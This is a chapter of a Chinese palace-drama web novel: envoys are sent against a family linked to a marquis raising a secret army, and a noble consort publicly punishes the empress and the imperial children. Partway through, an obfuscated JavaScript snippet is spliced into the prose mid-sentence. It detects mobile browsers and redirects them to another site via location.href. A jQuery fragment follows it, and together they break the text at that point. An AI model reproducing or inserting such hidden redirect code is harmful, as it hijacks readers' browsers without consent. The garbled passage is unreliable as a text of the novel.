原来今夜的长春宫也没躲过苦涩侵袭。 两名婢女手执灯笼在前引路,四名婢女在后陪护,包蜜果居中,走过长长的青石板路,来到英王府前院的世子书房外,候过半刻钟,一名丫鬟走出来请包姑娘进门。 包蜜果是来告辞的,刚提出告辞,宜春县主萧灼灼闯入,包蜜果看看她,萧灼灼也看眼这个告御状的姑娘,打哈哈笑:“你们不用管我,你们有话接着说好了。” “我大哥有陪我进京,就在城里的客栈。”包蜜果谢道:“多谢晏公子和晏姑娘的好意,但我这样非亲非故的住在你们家实在说不过去,我还是今夜就走。” “陛下让包姑娘住到大臣家中是对你和你家人们的保护。”晏霁之浅笑道:“柴家猖狂,朝廷必须重视才能有震慑令柴家不敢轻举妄动,或许还少不了要派将士过去保护你的家人。否则钦差还没下地方,你爹娘可能就已经被柴家害了。” 包蜜果惊恐,萧灼灼很怀疑这姑娘都告御状了还连这点都不懂吗? “姑娘不必担忧,陛下既说了要给百姓们一个交代,必定会保障你和你家人的安全。”晏霁之交代道:“太上皇也会重视这个案子,或许还会要见一见你,若是太微宫来传召,我会让我的长随护送你去太微宫,你不要怕。” 包蜜果回过神来连忙应:“哦,哦哦哦好,我知道了,多谢晏公子。” “你兄长既在京中,你们兄妹想见面随时可以,但你出门必须带人。陛下既然让你住在晏家,相当于晏家接手了你和你家人的安全,你若出事,晏家是要担责任的。”晏霁之不算危言耸听地告诫,包蜜果诧异,想疑惑,转念想,顺从应下,再道谢。 “姑娘住在晏家期间不必拘束,有什么需要尽管张口。”晏霁之顺口说道:“王爷吩咐了账房明天给包姑娘送一百两银子做零花,望包姑娘务必收下。” “啊?”包蜜果愣下忙推辞:“不行不行,我这样住在你们家已经很——” “这是待客之道。”晏霁之温和打断:“包姑娘还有疑虑吗?” “哦没有了没有了。”包蜜果还想推辞也不可能没这点眼色呀,再谢声后离开。 包蜜果一走,萧灼灼略感兴奋问:“这御状真是霍家的阴谋?” 晏霁之不想被蠢货污眼睛,端茶盅喝茶:“景福殿的血还没干吧?” 萧灼灼没过脑:“啊?” 晏霁之不耐烦逐客,萧灼灼想反呛呛时,晏诺来了:“江南巡抚的信。” 萧灼灼气闷走人,走出段路才想懂,景福殿的血还没干呢:不是景福殿的血真还没干,是景福殿发生的事还历历在目,霍家对朱家女都砍了,还能对令愔夫人耍阴招吗? 这人真是,直截了当说不行啊非得转个弯,萧灼灼磨牙。 书房,晏霁之接过信笺转两转,没拆,问:“谁送来的?” 晏诺道:“柳巡抚的女儿,人就在偏厅。” “这是想下昌隆侯的船。”晏霁之把信放桌上,还是没拆:“让她明晚再来。” 晏诺颔首往外走,晏霁之再抿口茶,淡淡道:“出来吧。” 这话音落地,一道身影闪现,是个二十多岁的瘦削男子,着夜行衣。 晏霁之问:“能估出来大概有多少青壮失踪了吗?” 包家兄妹想要告御状,晏霁之在人家进京前就获悉了,他眼前这手下就是和包蜜果大哥一起查案的友人,各自探查时遇上结识的。告御状,是包家兄妹自行决定的,诉状的内容,晏霁之在皇帝给他看前都不知晓,就是他这手下查案时跟人遇上了。 “不下上万人。”拾恨低头:“属下查不到这些人的去向。” 晏霁之怀疑:“不下上万人查不到去向?” 拾恨应:“属下也是想不通,这么大批青壮不管做什么都不可能藏得住啊。” “你可能估少了。”晏霁之视线落在桌案的信上:“昌隆侯在蓄私兵。” 拾恨被惊得眼睛大睁。 他化名拾恨,拾恨,拾恨,是有多恨? 黑夜逝,破晓至,黎明的第一束阳光伴着皇帝的口谕照遍宫闱,皇帝口谕:留大皇子在魏王府休养半月后再接回宫,皇后不必日日去魏王府看大皇子。 天光大亮,郭皇后要去看她的皇儿时被告知皇帝的口谕,她没搭理,让奴婢们备轿辇。御前来的小太监伶俐笑:“娘娘若想念大皇子,请旨今日将大皇子接回来就是了。皇后娘娘若是不急,再过半月,陛下就会接大皇子回宫了,娘娘放心。” 这可不是御前总管太监出面,就是来个小太监。 郭皇后自己没感觉,再让奴婢们备轿辇,她要出宫去看她的皇儿。小太监老神在在拦,郭皇后气得要把这小太监拖下去杖刑,宫人们劝皇后息怒,只劝息怒没人奉令,郭皇后被烦得要把这群宫人全部杖刑,宫人们仍然劝息怒。 折腾半天,郭皇后恨恨扭身回寝殿去,没一会儿传出命令:让赖嬷嬷回宫来。 从椒房殿过来现属怡华宫的宫人们相视笑笑,去皇极宫请个旨意就去办事。 长春宫得信,霍太后随口嗤:郭氏是真不知道她以前过得有多舒坦了。 阖宫深以为然了。 137. 第137章 太微宫 丞相和两位副相同来,皇帝带着晏霁之同来,年龄的阵营很直白。 对于当下就规划塞北江南,阵营同样直白,皇帝兴致高,三位相爷意兴阑珊。 太上皇也觉得皇帝有些过于折腾了:“皇儿——” “父皇?”嬴忱璧眼神亮晶晶,高兴得像个十六岁的少年,天真、喜悦、美好。太上皇突然觉得有点说不出口,三位相爷甚至晏霁之都觉得有点惨不忍睹。 霍擎恰在此时进殿,被问及他的意见时很幸灾乐祸:“幸好老头我已经致仕了。” 受刺激的三位相爷:“……” “咳咳!”皇帝嬴忱璧打圆场:“老国公,蜀王可有知道些什么?” “有,但请圣人、陛下息怒。”霍擎倏然沉重,将奏疏呈上。 嬴忱璧接过来阅览,整个人顷刻间犹若黑云压城,皇帝他定定看过两遍后再将奏报递给太上皇。 太上皇阅毕,陡然眉目阴沉:“蜀王给的?” 霍擎应是,太上皇勃然大怒:“丞相!” 班丞相和两位副相疾步上前,晏霁之慢两步跟着,班丞相接过奏报,他们仨老头和这个年轻的吏部侍郎一同看,四人看过齐齐变脸,晏霁之有否猜测都肯定得装震惊。 昌隆侯在夷洲岛私蓄兵马,已至少训练六万兵士! 相爷们觉得要疯了。 皇帝嬴忱璧看到诉状上指有青壮失踪时有过那么一点似有还无的猜测都不敢想情况会有如此严重更是被此事强烈冲击:“朝廷就没有收到过风声吗?好几万青壮失踪,朝廷都不曾收到消息吗,南边能把这么大的事压下来吗?” “许是隐匿的人口。”霍擎没有幸灾乐祸就是据实猜测的再给一击:“谁知道举国到底是隐匿了几十万还是几百万人,没准儿全国人口早过六千万了。” 此言一出,皇帝和太上皇的脸色更差,皇帝嬴忱璧在殿内来回走动,气得头顶冒青烟:“福建,福建?!他自请任福建巡抚就是预谋好了的?!” 太上皇老脸愈发阴沉,六万士兵岂能做假,根本不必怀疑蜀王在谎报。 “圣人、陛下,既然有民女冒死在御前告御状,派钦差吧。”晏霁之站出来道:“臣建议由湘王带着薛述嘉和晏和之下荆湖,将在荆湖的柴家人抓捕归案。” 嬴忱璧被气笑了,他真不是来消遣皇帝的:“你再说一遍。” 晏霁之想活跃下气氛:“你保证不打我?” 皇帝嬴忱璧成功被他气乐了:“朕保证不打死你!” 霍擎淡定看,三位相爷啼笑皆非,太上皇都想打皇帝了,几岁了还贫嘴! 晏霁之正经道:“圣人、陛下,此案,臣以为可将查案与抓捕分开来办,第一批钦差只下地方抓人,柴家人抓捕归案后再让第二批钦差彻查柴家罪行,让湘王去抓几个人难道他还办不了吗?圣人和陛下若不放心,多安排随行将士就是。” 嬴忱璧凤眸微眯:“只抓人?” “是,湘王此行当速战速决,且今天就下地方。”晏霁之顾全道:“随行将士,臣以为或不能少于两三千之数,从襄阳派兵恐打草惊蛇,从蜀地调兵吧。” 这是懒得和柴家以及昌隆侯废话的意思?! 既然柴家在当地已是民怨沸腾罪行昭彰,我就不跟你们废话,抓人,收集罪证,定案,直白昭示朝廷要把柴家连根拔起!对昌隆侯也有说辞,就你小舅子翟猛做的事,你不放点血还想指望霍家能善罢甘休吗?你痛快把柴家舍了,对你好。 嬴忱璧看向父亲,太上皇笑起来:“好,今天就让湘王下地方,去把柴家拔了。” 房副相感慨,这年轻人太会办事了,霍擎都想感慨呢。 穆国公和显国公被随同传召来,蜀王的密报没给他们看,穆国公任兵马大元帅掌全国军事肯定瞒不住的,但显国公就不必知晓了,皇帝和太上皇都不想让太多人知道。 “父皇,我、我……”湘王的小白脸有点红,让他做钦差下地方抓人,这个……他觉得他办不了这差事啊,虽然他不是个纨绔但他毕竟还没有办过差事,哪儿有一上来就接这么大差事的?薛述嘉想嘲笑他都嘲笑不起来,这个差事,他也办不了。 晏和之都想说,哥啊你不要这么看得起我,我自己都不相信我能办好这差事。 穆国公和显国公对视眼,他们自然都懂,这是个障眼法,谁能相信这三人能办好差事,但这回朝廷反着来,先抓人再查案,让湘王他们只去抓捕人犯还能做不好吗?钦差大摇大摆入荆湖,柴家反应过来早在囚车里了。 “八弟放心,晏霁之已经给你们拟好日程。”嬴忱璧叮嘱:“到地方,不必费太多心思,朕和圣人会从蜀地给你们调拨两千精兵,你们只管抓人。” “一个月?”湘王看着这日程皱眉:“皇兄,这是不是太赶了?” “不速战速决,你不怕被扣住,回不来了?”晏霁之捍卫他拟的日程,湘王当即对呛:“你胡说什么,本王——”突然对上他外祖父和大舅,湘王犯嘀咕,薛述嘉莫名有点惊悚:“不至于吧这还能被扣住,不就个柴家,他们要造反啊?” 太上皇瞬间脸色差,皇帝的脸色也不好看,穆国公霍秦川很褒奖的看向他,薛述嘉发现他好像发现了什么了不得的事,看向他爹,显国公只想深呼吸。 湘王心肝颤下,这是要让他干什么去呀:“大舅?” 晏霁之抢话:“王爷放心吧,你若真有什么不放心,出门前去闹闹你三哥,让他给你调最精锐的将士,没事的,回家收拾下行李,未时就出发吧。” “未时?”湘王不满:“既然今天来不及了,明早再走呗。” 晏霁之怼曰:“娇惯是种病,得治。” 瞧这话说的,就差直接说就是故意让你们未时出门,穆国公霍秦川看戏。 果然湘王不能忍了:“晏霁之你好意思吗,谁还能比你讲究?” “我讲究不耽误我办差啊,但湘王你娇惯能不耽误你办差事吗?你住过驿站吗,你能住得了驿站吗,你能咽得下赶路时的干粮吗?不逼着你们些,你怕是十天都赶不了一千里路。一天多跑个二百里,有助于你们夜里睡个安稳觉。”晏霁之反训。 湘王憋闷得真想跟他呛。 太上皇还有传召昨天告御状的小姑娘,内侍进殿来禀告,太上皇宣人进来,包蜜果看着这大殿里的情形慌忙跪下去行礼,太上皇和蔼道:“起来、起来,小姑娘放心,寡人和皇帝已派下钦差,必定会将柴家人绳之以法给老百姓们一个交代。” 包蜜果只觉得心头大石放下,只晓得不断磕头。 晏和之感叹这姑娘真幸运,赶上太上皇愿意整治昌隆侯的时候,不然她和她全家怕是怎么死的都不知道。 嬴忱璧没多看,带晏霁之退出大殿,在殿外,晏霁之也是和皇帝说这姑娘幸运。 不过,皇帝更幸运。 “是啊。”嬴忱璧都赞同,这时机甚好啊,有百姓告御状,朝廷火速应对、处置祸害,在民间的声望自不必说,人心凝聚,这御状是给他这皇帝和朝廷的礼。 晏霁之把昨夜收到的信呈上:“江南巡抚借女儿送来的。” 嬴忱璧拆开信,信上就五个字:求家宅平安。 “问他的底价。”皇帝嬴忱璧把信还给卿家,晏霁之颔首应是。 两名皇城禁军赶来见到陛下,报:霍贵妃要罚站二皇子、三皇子和两位公主。 嬴忱璧险些没听懂,霍擎和霍秦川走出来撞上这消息,皇帝转向他们,他们仨,霍擎和霍秦川还有晏霁之全都对皇帝抱以幸灾乐祸,嬴忱璧:“……” 是今早,芷筠斋连着有宫人跑长春宫请霍贵妃,霍才人梦靥着了,闹着想要见姐姐,一连三趟地请贵妃,霍灵渠便去芷筠斋走趟。堂姐妹俩见面,霍鹣娇没出什么幺蛾子,还提醒堂姐该去拾翠阁看看,她既想要养这小皇子,不好对小皇子这么冷漠。 霍灵渠很平淡的应了,一出芷筠斋就派宫人去找霍雄鹰。 翁嫔得到霍贵妃要来看小皇子的消息,瞟瞟过来看小弟弟的大公主、二公主和三皇子,猜都知道又是杭婕妤在捣鬼了,真是有够不安生。只是她没想到还有令愔夫人,这娘娘不是清高么竟也能帮衬,没管住就是帮衬,想管还能管不住吗? 贵妃到来,翁嫔识趣地把自己的猜测告诉贵妃,虽然霍贵妃肯定看出来了,没瞎眼的都看出来了好吧!但她得表诚意啊,她的小皇子要给贵妃养的。 霍灵渠评价:“有进步,还是个阳谋呢。” 翁嫔和身边的宫人们都觉得呃……贵妃点评得还是很中肯的。 霍灵渠转身走出拾翠阁,站在拾翠阁外下令:“派人回长春宫调两拨内侍去把杭婕妤和赖嬷嬷控制起来;请郭皇后过来,皇后若是不愿意,就把皇后请过来。” 翁嫔站在墙内忍笑,瞧这话绕的,郭皇后若是不愿意来,就把郭皇后抓来。 霍贵妃的第二道命令传来:“再派人回长春宫拿一根又长又粗的针来。” 翁嫔眉毛跳跳,这根针,贵妃不会是想拿来扎郭皇后吧? 耳畔旋即又响起霍贵妃的第三道指令:“让雄鹰不必来见我了,鹣娇梦靥了,要哥哥帮她捐香油钱,让雄鹰直接去芷筠斋找鹣娇拿香油钱吧。” 翁嫔直想捂脸,霍鹣娇怎么就那么不长脑呢,教训还在眼前呢居然又犯了,活该了吧,不管郭皇后和杭婕妤给她多少好处还不是要连本带利的吐出来。 准备妥当,霍灵渠再迈入拾翠阁,带着翁嫔去看还在襁褓的小皇子。 小婴儿的屋里,做哥哥姐姐的三个娃围着摇篮床看小婴儿,偶尔还伸出小手点点碰碰,宫人们在旁看护。霍灵渠进屋来,娃娃们抬头看去,双方对视两息时间,霍灵渠看向翁嫔,翁嫔没理解只能请示贵妃,霍灵渠言道:“把小皇子抱起来。” 哦哦哦哦哦,翁嫔连忙去抱她的小皇子,拾翠阁的奶娘和宫人们靠边站,二公主身边的宫娥忽然道:“公主,大公主,三殿下,得给贵妃娘娘问安。贵妃身份贵重是皇嗣的庶母,按规矩,众皇嗣们见到贵妃娘娘都得向贵妃问安。” 这话就像是个关窍,三岁多的二公主蹬蹬蹬跑向霍贵妃,伸出小手就要打,霍灵渠被不痛不痒地拍两下后反手抓起这娃打屁股,翁嫔和拾翠阁的宫人神经大作,小女娃哭起来,闹得襁褓中的小婴儿也哭闹起来,翁嫔慌忙哄她的孩儿。 “不许欺负我妹妹!”五岁多的大公主紧随冲上前,霍灵渠就抓住两个小丫头打屁股,跟着贵妃来的宫人们都有点神情紧绷,俩公主身边的宫人是假紧张真兴奋了,翁嫔怀疑这四个是新拨给俩公主的宫人还是从郭皇后那儿派来的? 这屋里还有三岁的三皇子呢,钟萃宫的宫人想揽住三皇子哪拦得住,被那要搅事的四名宫娥一拉扯,三皇子就冲出去帮姐姐们打架了,一个陌生人,两个自家姐姐,当然帮姐姐。翁嫔悲催得这让她说什么好,她不能不劝,但劝了肯定得罪霍贵妃。 “快快快快拦着,不能对贵妃这么不敬。”翁嫔听见自己说。 “不必了!”霍灵渠抓起三个小娃来到圆柱旁扯下纱帘,把这三个皇嗣绑起来,三个娃叽叽呱呱个没完,她便又把这三姐弟的嘴堵上封起来。 霍灵渠再转向那四个泛着兴奋的宫娥,吩咐:“拿麻绳来,把她们绑了。” 随贵妃来的宫人们上前抓人,围观的宫人嘲笑,这眼皮浅的,这么烫手的银两都敢想。钟萃宫的两名宫人,三皇子的奶娘使个眼色,另一个忙悄悄往外跑。 翁嫔当做没注意,她想霍贵妃肯定也看见了就是没理会。 郭皇后几乎是被架着来的。 霍灵渠搬把大椅坐在拾翠阁外的宫道上,四个小娃被绑成团扔在旁,二皇子也在。 令愔夫人闻讯赶来,霍灵渠请她走,令愔夫人硬闯入拾翠阁,在霍贵妃面前慷慨陈词没两三言就被霍灵渠让人拿绸布把她给绑起来了,钟萃宫的宫人不能自己消失的也全都绑了。将满五岁的二皇子就在这样的情形下赶来,要救母妃,要救弟弟和姐妹。 满四岁的皇嗣能启蒙了,二皇子在学堂读书,故而今早没和三皇子一起。 但这会儿过来也没什么晚不晚,霍灵渠利落地把这娃也绑了。 对于被绑成团的这四个娃,眼下最大的疑惑可能是,怎么还有人敢打他们敢绑他们?在他们活三年五载的人生中从来没有遇过这样的事。 翁嫔低头站在霍贵妃身侧,喻美人和倪秀仪也在,她俩是跪着的,当前,两位公主暂且给她们两个照顾,出了事必须要来请罪,还得请霍贵妃放人,这样两道重责压下来,不跪都不行,霍贵妃一直没搭理她们,她俩其实也挺平和的。 连皇城禁军统领都在,阵仗闹大了,没法不在。 霍太后都派人去请乐邑长公主和六岁的乐阳长公主来做和事佬了。 被架着来的郭皇后站站稳,瞥瞥被绑着的四个娃,据说是被贵妃亲自绑的。 霍灵渠站起来,担忧着的郭皇后松口气,贵妃还愿意行礼就好。翁嫔也准备要行礼时,霍灵渠一把拉过郭皇后推倒放在椅子里,抬脚踩住,一众目睹者:“……” 翁嫔发现,她不知道该想哭还是想笑啊…… 觉得差事艰难的步昂大统领默默跪下来,想,跪下来,意思到就行了吧。 站着的围观者们纷纷跟着跪,啥也不说了就跪着吧。 霍灵渠再传令:“上针!” 翁嫔觉得她都不敢想接下来的画面了,这针果然是给郭皇后预备的。 一个小太监跪着来到贵妃身边,举起木匣,一根六寸长的粗针映入皇后的眼帘,郭皇后看看针再看贵妃,心砰砰直跳,贵妃不是真敢拿针扎她吧? 还有侥幸的郭皇后是被痛醒的,霍灵渠拿起长针按住郭氏的手掌重重扎下,郭皇后的尖叫响彻宫道,躲在暗处的霍鹣娇看得好畅快,同样躲着的乐邑长公主默默捂住小妹的眼睛,这时候出去既拦不住霍灵渠又难做,还是再藏会儿吧。 霍灵渠接着扎第二针,郭皇后痛得眼泪都飚出来了,跪着的众位再低低头。 第三针快落下时郭皇后连忙喊:“不要了不要了,贵妃,不要扎了……” “知道错了?”霍灵渠凶,郭皇后凄凄惨惨:“知道了。” “说清楚,知道什么了?” “我知道错了。”她真的知道了,这两针痛死她了,猛然看见手掌出血,慌忙嚷起来,霍灵渠一瞪,郭皇后委屈巴巴地缩回去,她再也不要听杭婕妤的了。 霍灵渠佯怒恐吓:“说,原原本本给我说一遍,说不好,我给你扎一百针!” 郭皇后被这一百针吓哆嗦下,颤巍巍道:“杭杭杭杭婕妤来找我,跟我说,用霍鹣娇把你引出来再把你引去拾翠阁,让大公主和二公主还有三皇子都过去拾翠阁,教好二公主见到贵妃就要打,再让大公主和三皇子一起打你,你肯定会还击。 只要你欺负皇嗣了,一定能反压你,把我们这两天的恶气出出来。杭、杭婕妤还有备巴豆粉,要给公主们用,这样,公主今天就能还给我们。赖嬷嬷回来,一听这计策,很赞成,我我我……”我就同意了,但是这话,郭皇后不太敢说。 霍灵渠问:“你们给了霍鹣娇多少好处?” “好多呢,她胃口也太大了。”郭皇后抱怨:“她足足要了五千两银子、五副珠宝头面,就是让她递个信把你引出来,她居然就要这么多。” “是多。”霍灵渠赞同道:“姑姑,派个人去告诉霍雄鹰,香油钱别拿少了。” 陶姑姑颔首应,指派个小太监去办事。 郭皇后感觉舒坦点,翁嫔低头偷笑,她就知道霍鹣娇逃不掉。 躲着看的霍鹣娇悲愤抓狂地回芷筠斋去,霍雄鹰再来洗劫遭不是要她命吗? 霍灵渠揪第二点:“令愔夫人的三皇子是怎么引过来的?” “是是是杭婕妤去钟萃宫谈了,她还装不愿意呢装什么装。”郭皇后鄙夷:“杭婕妤就去跟她妹妹谈,她那个妹妹昨夜不是留宿宫中了,今早也还没出宫,杭婕妤跟她那妹妹一说,她妹妹就同意了,两个公主去找三皇子时顺顺当当地把三皇子带走了。” “后妃要留宿娘家人需得陛下或太后允准,昨夜,长春宫可没接到令愔夫人的请示。”霍灵渠拖长音调装明知故问:“这是,她请示过陛下了?” “没有,肯定没有。”郭皇后想都不想:“她肯定就是自作主张。” “有道理。”霍灵渠点点头,貌若言笑晏晏商量:“这姐弟四个必得管教了,太后慈悲,就不要让太后看见了,我带他们去关雎宫罚站吧,皇后意下如何?” “呃,罚站?”罚站啊,郭皇后看向她女儿,小闺女可怜巴巴的,她也好可怜,郭皇后转头再看看霍贵妃,这会儿虽然不凶了还是凶巴巴的感觉。 “好!”罚站就罚站吧,站一站不是什么事。 “既然皇后同意了,我就按皇后的旨意办了。”霍灵渠把针收起来。 “好!”郭皇后忍不住被牵引着瞟瞟那根长针。 “皇后去长春宫陪着太后吧。”霍灵渠眉眼温柔得近乎不是在威胁:“皇后和太后都是慈悲心肠,最疼爱皇嗣了,但对皇嗣不能溺爱太过更不能没有管束,只能臣妾来做这个恶人,这时候皇后和太后站在一起才能镇住宫中的流言,给臣妾最大的支持。” “呃,贵妃,我、我、我还是……”郭皇后可不想去长春宫。 霍灵渠霎时温柔殆尽:“你不想支持我,你还想扎个两百针?” 郭皇后痛苦得不想说话了。 “还有杭婕妤,”霍贵妃的声音又幽幽响起,郭皇后看向霍贵妃,霍灵渠犹若逗趣笑:“她都已经用末品份例了,要不你帮她担一担?” “不行!”郭皇后脱口而出。 “那让赖嬷嬷帮着担一担?”霍灵渠问,郭皇后奇怪:“赖嬷嬷怎么担?” 霍灵渠随意得好像没有设语言陷阱:“这些年潜邸和宫中给杭婕妤的赏赐全部收回,再收赖嬷嬷九成家底,我派人点一点,若是不够,你帮她们补上。” 可多少才算够? 翁嫔还没察觉就乐着想,赖嬷嬷全家都要哭死了,赖嬷嬷贪财可是出了名的。 郭皇后当然不愿意啊:“不用我补了吧,应该肯定够了。” 霍灵渠只道:“皇后该去长春宫了,送皇后娘娘去长春宫陪太后诵经。” 宫人们自觉站起来,领头的宫女率队站在皇后面前,郭皇后怏怏不乐地从座椅里站起,她不想见太后,可更不想扎针啊,手掌还疼着呢。 霍灵渠转向目前看似很安静的四个小娃,走到娃娃们面前,拾起绑着他们的纱布,牵着纱布领他们去关雎宫,可能被吓住的姐弟四个谁都没闹就乖乖走。 步昂大统领再默默跟去关雎宫。 翁嫔恭送过霍贵妃,很懂事的估摸着贵妃快走到关雎宫了再去把令愔夫人解开。 皇帝回銮,来到关雎宫外,看到的就是令愔夫人、喻美人和倪秀仪各自带着身边的宫人被阻挡在关雎宫外。三人虽都是低头、视线往下、笔直站立,但皇帝就是一眼就能感受出,喻美人和倪秀仪很平静,令愔夫人包裹着巨大的屈辱悲愤。 被挡拒在外的众人给皇帝陛下请过安,嬴忱璧让把守的宫人开门。 关雎宫门逐渐被推开,只见:霍贵妃坐在关雎宫的正大殿前,来做和事佬的乐邑长公主和六岁的乐阳长公主站在侧,有椅子,两位长公主都没坐。皇帝的俩公主和俩皇子四个娃从高到低站成一排,各举朵蔷薇花,手举过头顶,在太阳底下罚站。 皇帝步入关雎宫,令愔夫人紧随其后,喻美人要走时被倪秀仪拉住,喻美人微愣,旋即明白她的意思,陛下什么都没说呢,换言之没让她们跟。她无奈指指令愔夫人,令愔夫人跟着进去了,她们若还留在外也不合适啊,倪秀仪只好一同进去。 看见皇帝老兄到来,乐邑长公主第一个带着妹妹给皇兄请安,宫人和禁军们悉数问安,霍灵渠站起来行礼,礼数合规范没敷衍。喻美人和倪秀仪再率这边的宫人们给霍贵妃请安,令愔夫人笔直站着没有动作,一如昨天傍晚她面对皇帝时。 六岁的乐阳注意到这点突出,拉拉姐姐的衣袖。乐邑摸摸小妹的头,心里嗤笑,这位硬闯拾翠阁时也没向贵妃行礼吧,真当她皇兄的眼睛瞎了吗?! 被罚站的四个娃,年长的两个察觉异样转头看去,看见父皇,几乎要喜极而泣,大公主争先恐后跑向父皇,二皇子拉起弟弟再跑,二公主慢慢跟着跑。 嬴忱璧看得不自觉皱下眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459329|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 大公主第一个冲到,嬴忱璧还是弯腰接了接,大公主独霸在爹爹怀里哭,俩皇子跑到时没找到能挤过去的位置便改扑向母妃,二公主最后跑到,也不挑,拉着父皇的衣袍跟着哭。霍灵渠走近来,娃娃们猛地止住了哭泣,还是大公主最先反应过来。 “父皇,你要罚她,狠狠罚她,罚她站一天,罚她不能吃饭,还要扎针!” “对对对!”二公主小脸恨恨的扑腾着点头:“罚死她!” 嬴忱璧眼神微变,放开大女儿,大公主敏感地愣下,俩皇子要赞同时被令愔夫人按住,皇帝站直传令:“杭婕妤杖刑二十,告诉医女,好好给杭婕妤诊治,大公主回婵娟馆前务必要让杭婕妤好起来,再给杭婕妤换两个力气大的婢女。 至于被杭婕妤收买蛊惑二公主的那四个宫人,杖刑五十,充入掖庭。” 末品份例配两名宫人,拢共两人,杭婕妤当前就两个宫人伺候。 皇帝的意思,自然是大公主回婵娟馆前让杭婕妤重重病着吧。 大总管领旨意,很平静,多数人都平静,令愔夫人不大平静甚至是想不通,怎么也没想到霍贵妃闹成这样,皇帝回来竟然是杖刑杭婕妤,何况杖刑嫔妃,杖刑对嫔妃是耻辱,这让杭婕妤今后还怎么抬头做人,大公主都要受影响的。 喻美人看她,怀疑这娘娘是不是脑子真有点问题,杭婕妤作死成这样了还想能活命?!又瞥倪秀仪,明年,大公主还真要成倪秀仪的女儿了。 一样有猜测的倪秀仪淡漠低眸,仿佛什么都没有察觉到。 “父皇?”大公主五岁多了当然懂杖刑:“是她欺负我们——” “她是谁?”嬴忱璧倏然疾言厉色,大公主瑟缩下,下意识转向二弟,二皇子憋气道:“是父皇的贵妃,可是,是父皇的贵妃就能这样欺压我们吗?” “欺压?”嬴忱璧仿佛直接被这两字挑起怒火:“谁挑的事,你该在学堂念书,谁把你从学堂喊回来的,你下学了吗,又是哪个教你们的对贵妃不敬? 你问问你乐邑姑母,你皇祖父的贵妃生前,你父皇我这辈的兄弟姐妹包括你大伯在内有谁对你皇祖父的贵妃不敬过,你们倒好?!冲撞贵妃在前,被贵妃惩戒,才罚站而已,竟然都能变成欺压你们,父皇竟是不知谁教你们的如此混账?” 嬴忱璧怒而拂袖转身:“步昂,拿戒尺,每个左手打十下!” 看客们微讶,乐邑猜这皇兄是还想掐断后宫中人利用皇嗣来对付贵妃的心思吧? 令愔夫人大惊,大公主和二皇子呆住,全没想过父皇竟反而还要惩戒他们。 最小的二公主和三皇子还有些懵,令愔夫人反对道:“陛下,皇嗣们还小,纵有失礼处,慢慢教导也就是了,何况贵妃已经惩戒过,何至于还要惩戒?” 嬴忱璧不语,霍灵渠含笑道:“令愔夫人既不忍心就不要让夫人看见了。” 御前总管蒋厚运和步昂大统领一起领命,陛下没有吩咐了,他们便告退,御前的宫人们抱起四位小殿下往外撤,乐邑长公主带小妹以及喻美人和倪秀仪将令愔夫人硬劝走,空阔的大殿前很快就只有皇帝和霍贵妃两人,嬴忱璧才转身。 皇帝目视过空荡的宫道,转向霍贵妃,自责道:“贵妃昨夜没有骂错,是朕行事偏颇,朕的想法错了,朕觉得妻儿要朕庇护,但太后?朕受太后养育长大,对太后和霍家,一直是从不觉得需要朕或者轮得到朕为太后做些什么,是朕想错了。” 霍灵渠很不想理会:“陛下还有事吗?” “贵妃,朕知道你觉得心凉,但朕真的是感念太后的养育之恩的,朕只是想法出错才会多年来行事偏差。朕更没有想不尊重贵妃,朕想对贵妃好,朕自觉朕和贵妃亲近,这才随意了些。”嬴忱璧恳切道:“莫再和朕生气了好不好?” 你怎么不打盆水来照照你自己呢?!霍灵渠略过皇帝对她的不尊重,只算:“杭婕妤和令愔夫人陪着陛下从潜邸过来的,她们谁又不相信霍家死期不远矣,谁给她们的自信,但凡皇帝你对太后能有丝毫敬意至于能给她们养出来这份自信吗?” “是朕内敛,朕不想让人窥测朕的内心,所以隐藏了对太后的敬意和对霍家的在意。”嬴忱璧豁出脸皮说:“但朕藏在心底深处的才是最在意的,贵妃相信朕。” “……” 霍灵渠被噎得注视皇帝半响,赞:“你可太是做皇帝的料了。” 嬴忱璧轻咳声,略过道:“贵妃是觉得自己愿意就不算委屈吗?” 皇帝想还是续上昨夜的话题。 “自己愿意怎么能叫委屈,当然是自己不愿意才是委屈。”霍灵渠语气还有些不善,她不想和解,但皇帝信誓旦旦很想对霍家好,她只能退让。 所以啊,霍灵渠脾性是真好,嬴忱璧估计是真的已经摸清楚了,贵妃很好哄。当然啦,这前提是嬴忱璧说的是真话,霍灵渠没感受到多少虚假,所以才退让了。 她是脾性好、很好哄,又不是很好骗。 嬴忱璧心中叹息,贵妃认为她愿意就不是委屈,而他理解成了贵妃不愿意为孩儿付出:“那么,贵妃将来有孩儿,贵妃能为孩儿做到什么份上?” “命,若我和我孩儿只能活一个,我愿意把生机给我的孩子。”霍灵渠走回到座椅前,看看她刚坐着的椅子再看看皇帝,就故意继续占据这主座。 嬴忱璧弯弯唇,眼中透着愉悦:“所以这都是贵妃愿意做的事?” “嗯。”霍灵渠执起茶壶倒两碗茶,想,她应该不会有孩儿了。 “好,朕知道了。”嬴忱璧笑着在贵妃旁边落座,心知贵妃还没消气,自然不在意贵妃耍的这点小脾性。皇帝端起茶碗喝两口茶,念及令愔夫人,他笑意渐散:“贵妃可还记得,晏霁之曾言,令愔夫人或许期待皇帝主动把凤冠给她。” “记得,昨天傍晚在拾翠阁外看着她,我也有此感悟。”霍灵渠按住郁气,专注议事:“这两个月我对她感观挺好的,会有这样大的偏差,还是我看得浅显吧,仔细想想,我第一次向陛下问起令愔夫人时你就告诉我了,她清高有才情更心高。” “清高,她便不屑婉转或者旁敲侧击地引着朕怀疑有荆湖秀女告御状是霍家的阴谋。”嬴忱璧恭维般剖析:“她必定直言,众目睽睽,她也毫不在意。 心高,她便不会想是她父亲有不好是她的想法偏颇,她直觉笃定这是霍家的阴谋,并且听不进不同的看法,那么自然,朕训斥她时她会认为朕在偏袒霍家,对朕更为不屑;更不要说她本就在看不起我了,她昨日当然会是那么副姿态。” 